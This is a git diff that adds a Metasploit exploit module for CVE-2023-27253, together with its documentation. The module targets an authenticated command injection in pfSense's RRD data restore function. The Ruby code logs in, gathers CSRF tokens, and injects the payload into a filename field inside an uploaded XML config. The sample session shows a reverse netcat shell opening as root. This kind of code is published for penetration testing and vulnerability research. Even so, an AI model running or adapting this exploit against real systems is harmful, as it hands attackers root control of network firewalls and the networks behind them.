diff --git a/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md b/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md new file mode 100644 index 000000000000..c79c853950ae --- /dev/null +++ b/documentation/modules/exploit/unix/http/pfsense_config_data_exec.md @@ -0,0 +1,61 @@ +## Vulnerable Application + +This module exploits an authenticated command injection vulnerabilty in the `restore_rrddata()` function of +pfSense prior to 2.7.0 which allows an authenticated attacker with the `WebCfg - Diagnostics: Backup & Restore` privilege +to execute arbitrary operating system commands as the `root` user. + +This module has been tested successfully on version 2.6.0-RELEASE. + +### Installing the Application +Download the ISO from [pfSense 2.6.0-RELEASE](https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz) +and then create a VMWare or VirtualBox VM using this ISO. + +Note that you may wish to use the BIOS boot method when prompted for which method to use for installation, +rather than ZFS or UEFI for testing purposes, just to simplify setup. Otherwise you can accept the default settings. + +Once installation is finished you should be prompted to reboot. Reboot, then enter `n` when asked if you want to set up VLANs. + +For the WAN prompt enter `em0` which should work, or whatever one other than `a` that appears in the prompt and hit ENTER. + +Wait for setup to complete then try to browse to `http:///` replacing the +placeholder with the IP address shown in the prompt. You should see the login page for pfSense. + +Log in with username `admin` and password `pfsense`. There should be a setup GUI that appears. Accept all the defaults +and keep clicking `Next` at each of the steps and then `Finish` at the final step. Finally click `Accept` on the export +warning page and `Close` on the following popup. You should now see the main dashboard and should be ready to test the +module. + +## Verification Steps +1. Start `msfconsole` +2. Do: `use exploit/unix/http/pfsense_config_data_exec` +3. Do: `set RHOST [IP]` +4. Do: `set USERNAME [username]` +5. Do: `set PASSWORD [password]` +6. Do: `set LHOST [IP]` +7. Do: `exploit` + +## Options + +## Scenarios + +### pfSense Community Edition 2.6.0-RELEASE + +``` +msf6 exploit(unix/http/pfsense_config_data_exec) > use exploit/unix/http/pfsense_config_data_exec +[*] Using configured payload cmd/unix/reverse_netcat +msf6 exploit(unix/http/pfsense_config_data_exec) > set RHOST 1.1.1.1 +RHOST => 1.1.1.1 +msf6 exploit(unix/http/pfsense_config_data_exec) > set LHOST 2.2.2.2 +LHOST => 2.2.2.2 +msf6 exploit(unix/http/pfsense_config_data_exec) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] pfSense version: 2.6.0-RELEASE +[+] The target is vulnerable. +[*] Command shell session 1 opened (2.2.2.2:4444 -> 1.1.1.1:21942) at 2023-03-26 02:10:48 +0300 + +id +uid=0(root) gid=0(wheel) groups=0(wheel) +whoami +root +``` diff --git a/modules/exploits/unix/http/pfsense_config_data_exec.rb b/modules/exploits/unix/http/pfsense_config_data_exec.rb new file mode 100644 index 000000000000..4455bfcf7f3b --- /dev/null +++ b/modules/exploits/unix/http/pfsense_config_data_exec.rb @@ -0,0 +1,240 @@ +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'pfSense Restore RRD Data Command Injection', + 'Description' => %q{ + This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of + pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore" + privilege to execute arbitrary operating system commands as the "root" user. + + This module has been tested successfully on version 2.6.0-RELEASE. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Emir Polat', # vulnerability discovery & metasploit module + ], + 'References' => [ + ['CVE', '2023-27253'], + ['URL', 'https://redmine.pfsense.org/issues/13935'], + ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94'] + ], + 'DisclosureDate' => '2023-03-18', + 'Platform' => ['unix'], + 'Arch' => [ ARCH_CMD ], + 'Privileged' => true, + 'Targets' => [ + [ 'Automatic Target', {}] + ], + 'Payload' => { + 'BadChars' => "\x2F\x27", + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic netcat' + } + }, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS] + } + ) + ) + + register_options [ + OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), + OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']) + ] + end + + def check + unless login + return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!") + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil? + return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200 + + unless res&.body&.include?('Diagnostics: ') + return Exploit::CheckCode::Safe('Vulnerable module not reachable') + end + + version = detect_version + unless version + return Exploit::CheckCode::Detected('Unable to get the pfSense version') + end + + unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE') + return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected") + end + + Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!") + end + + def login + # Skip the login process if we are already logged in. + return true if @logged_in + + csrf = get_csrf('index.php', 'GET') + unless csrf + print_error('Could not get the expected CSRF token for index.php when attempting login!') + return false + end + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'POST', + 'vars_post' => { + '__csrf_magic' => csrf, + 'usernamefld' => datastore['USERNAME'], + 'passwordfld' => datastore['PASSWORD'], + 'login' => '' + }, + 'keep_cookies' => true + ) + + if res && res.code == 302 + @logged_in = true + true + else + false + end + end + + def detect_version + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'method' => 'GET', + 'keep_cookies' => true + ) + + # If the response isn't a 200 ok response or is an empty response, just return nil. + unless res && res.code == 200 && res.body + return nil + end + + if (%r{Version.+(?[0-9.]+-RELEASE)\n?}m =~ res.body).nil? + nil + else + version + end + end + + def get_csrf(uri, methods) + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, uri), + 'method' => methods, + 'keep_cookies' => true + ) + + unless res && res.body + return nil # If no response was returned or an empty response was returned, then return nil. + end + + # Try regex match the response body and save the match into a variable named csrf. + if (/var csrfMagicToken = "(?sid:[a-z0-9,;:]+)";/ =~ res.body).nil? + return nil # No match could be found, so the variable csrf won't be defined. + else + return csrf + end + end + + def drop_config + csrf = get_csrf('diag_backup.php', 'GET') + unless csrf + fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!') + end + + post_data = Rex::MIME::Message.new + + post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') + post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') + post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') + post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') + post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"') + post_data.add_part('', nil, nil, 'form-data; name="restorearea"') + post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"') + post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'keep_cookies' => true + ) + + if res && res.code == 200 && res.body =~ // + return res.body + else + return nil + end + end + + def exploit + unless login + fail_with(Failure::NoAccess, 'Could not obtain the login cookies!') + end + + csrf = get_csrf('diag_backup.php', 'GET') + unless csrf + fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!') + end + + config_data = drop_config + if config_data.nil? + fail_with(Failure::UnexpectedReply, 'The drop config response was empty!') + end + + if (%r{(?.*?)} =~ config_data).nil? + fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!') + end + config_data.gsub!(' ', '${IFS}') + send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};") + + post_data = Rex::MIME::Message.new + + post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"') + post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"') + post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"') + post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"') + post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"') + post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"') + post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"') + post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"") + post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"') + post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"') + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'diag_backup.php'), + 'method' => 'POST', + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", + 'data' => post_data.to_s, + 'keep_cookies' => true + ) + + if res + print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.") + end + end +end